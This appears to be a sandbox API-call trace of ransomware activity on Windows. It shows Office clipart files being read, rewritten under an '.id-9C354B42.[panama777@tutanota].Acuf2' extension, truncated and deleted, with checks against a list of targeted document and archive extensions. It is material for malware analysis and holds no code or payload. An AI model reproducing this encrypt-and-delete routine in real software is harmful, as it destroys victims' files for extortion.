	[0259.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.716] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.716] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.717] GetLastError () returned 0x0
	[0259.717] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1c08, lpOverlapped=0x0) returned 1
	[0259.719] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1c10, lpOverlapped=0x0) returned 1
	[0259.720] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.720] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.720] SetEndOfFile (hFile=0x35c) returned 1
	[0259.720] CloseHandle (hObject=0x35c) returned 1
	[0259.720] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.720] SetEndOfFile (hFile=0x358) returned 1
	[0259.722] CloseHandle (hObject=0x358) returned 1
	[0259.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf")) returned 1
	[0259.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.722] lstrlenW (lpString=".doc") returned 4
	[0259.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString=".docx") returned 5
	[0259.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.723] lstrlenW (lpString=".pdf") returned 4
	[0259.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString=".xls") returned 4
	[0259.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.723] lstrlenW (lpString=".xlsx") returned 5
	[0259.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.723] lstrlenW (lpString=".ppt") returned 4
	[0259.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.723] lstrlenW (lpString=".zip") returned 4
	[0259.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.723] lstrlenW (lpString=".rar") returned 4
	[0259.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString=".bz2") returned 4
	[0259.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString=".7z") returned 3
	[0259.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.723] lstrlenW (lpString=".dbf") returned 4
	[0259.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.723] lstrlenW (lpString=".1cd") returned 4
	[0259.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.723] lstrlenW (lpString=".jpg") returned 4
	[0259.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.723] lstrlenW (lpString=".doc") returned 4
	[0259.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString=".docx") returned 5
	[0259.724] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.724] lstrlenW (lpString=".pdf") returned 4
	[0259.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString=".xls") returned 4
	[0259.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.724] lstrlenW (lpString=".xlsx") returned 5
	[0259.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.724] lstrlenW (lpString=".ppt") returned 4
	[0259.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.724] lstrlenW (lpString=".zip") returned 4
	[0259.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.724] lstrlenW (lpString=".rar") returned 4
	[0259.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString=".bz2") returned 4
	[0259.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString=".7z") returned 3
	[0259.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.724] lstrlenW (lpString=".dbf") returned 4
	[0259.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.724] lstrlenW (lpString=".1cd") returned 4
	[0259.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 63
	[0259.724] lstrlenW (lpString=".jpg") returned 4
	[0259.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.725] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.725] lstrlenW (lpString="BS01634_.WMF") returned 12
	[0259.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.727] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3494) returned 1
	[0259.727] CloseHandle (hObject=0x358) returned 1
	[0259.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20
	[0259.727] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.727] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.727] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.728] GetLastError () returned 0x0
	[0259.728] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xda6, lpOverlapped=0x0) returned 1
	[0259.730] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xdb0, lpOverlapped=0x0) returned 1
	[0259.731] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.731] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.731] SetEndOfFile (hFile=0x35c) returned 1
	[0259.731] CloseHandle (hObject=0x35c) returned 1
	[0259.731] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.731] SetEndOfFile (hFile=0x358) returned 1
	[0259.733] CloseHandle (hObject=0x358) returned 1
	[0259.733] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.733] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 1
	[0259.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.733] lstrlenW (lpString=".doc") returned 4
	[0259.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString=".docx") returned 5
	[0259.734] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.734] lstrlenW (lpString=".pdf") returned 4
	[0259.734] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString=".xls") returned 4
	[0259.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.734] lstrlenW (lpString=".xlsx") returned 5
	[0259.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.734] lstrlenW (lpString=".ppt") returned 4
	[0259.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.734] lstrlenW (lpString=".zip") returned 4
	[0259.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.734] lstrlenW (lpString=".rar") returned 4
	[0259.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString=".bz2") returned 4
	[0259.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString=".7z") returned 3
	[0259.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.734] lstrlenW (lpString=".dbf") returned 4
	[0259.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.734] lstrlenW (lpString=".1cd") returned 4
	[0259.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.734] lstrlenW (lpString=".jpg") returned 4
	[0259.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.735] lstrlenW (lpString=".doc") returned 4
	[0259.735] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString=".docx") returned 5
	[0259.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.735] lstrlenW (lpString=".pdf") returned 4
	[0259.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString=".xls") returned 4
	[0259.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.735] lstrlenW (lpString=".xlsx") returned 5
	[0259.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.735] lstrlenW (lpString=".ppt") returned 4
	[0259.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.735] lstrlenW (lpString=".zip") returned 4
	[0259.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.735] lstrlenW (lpString=".rar") returned 4
	[0259.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString=".bz2") returned 4
	[0259.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString=".7z") returned 3
	[0259.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.735] lstrlenW (lpString=".dbf") returned 4
	[0259.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.735] lstrlenW (lpString=".1cd") returned 4
	[0259.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63
	[0259.735] lstrlenW (lpString=".jpg") returned 4
	[0259.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.736] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.736] lstrlenW (lpString="BS01635_.WMF") returned 12
	[0259.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.736] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=14996) returned 1
	[0259.736] CloseHandle (hObject=0x358) returned 1
	[0259.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20
	[0259.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0259.736] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.736] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.737] GetLastError () returned 0x0
	[0259.737] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x3a94, lpOverlapped=0x0) returned 1
	[0259.819] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x3aa0, lpOverlapped=0x0) returned 1
	[0259.828] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.828] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.828] SetEndOfFile (hFile=0x35c) returned 1
	[0259.828] CloseHandle (hObject=0x35c) returned 1
	[0259.828] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.828] SetEndOfFile (hFile=0x358) returned 1
	[0259.830] CloseHandle (hObject=0x358) returned 1
	[0259.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 1
	[0259.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.843] lstrlenW (lpString=".doc") returned 4
	[0259.843] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.843] lstrlenW (lpString=".docx") returned 5
	[0259.844] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.844] lstrlenW (lpString=".pdf") returned 4
	[0259.844] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString=".xls") returned 4
	[0259.844] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.844] lstrlenW (lpString=".xlsx") returned 5
	[0259.844] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.844] lstrlenW (lpString=".ppt") returned 4
	[0259.844] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.844] lstrlenW (lpString=".zip") returned 4
	[0259.844] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.844] lstrlenW (lpString=".rar") returned 4
	[0259.844] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString=".bz2") returned 4
	[0259.844] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString=".7z") returned 3
	[0259.844] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.844] lstrlenW (lpString=".dbf") returned 4
	[0259.844] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.844] lstrlenW (lpString=".1cd") returned 4
	[0259.844] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.844] lstrlenW (lpString=".jpg") returned 4
	[0259.844] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.844] lstrlenW (lpString=".doc") returned 4
	[0259.844] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.844] lstrlenW (lpString=".docx") returned 5
	[0259.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.845] lstrlenW (lpString=".pdf") returned 4
	[0259.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.845] lstrlenW (lpString=".xls") returned 4
	[0259.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.845] lstrlenW (lpString=".xlsx") returned 5
	[0259.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.845] lstrlenW (lpString=".ppt") returned 4
	[0259.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.845] lstrlenW (lpString=".zip") returned 4
	[0259.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.845] lstrlenW (lpString=".rar") returned 4
	[0259.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.845] lstrlenW (lpString=".bz2") returned 4
	[0259.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.845] lstrlenW (lpString=".7z") returned 3
	[0259.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.845] lstrlenW (lpString=".dbf") returned 4
	[0259.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.845] lstrlenW (lpString=".1cd") returned 4
	[0259.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63
	[0259.845] lstrlenW (lpString=".jpg") returned 4
	[0259.845] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.845] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.846] lstrlenW (lpString="CLIP.WMF") returned 8
	[0259.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.864] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2262) returned 1
	[0259.864] CloseHandle (hObject=0x330) returned 1
	[0259.864] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\clip.wmf")) returned 0x20
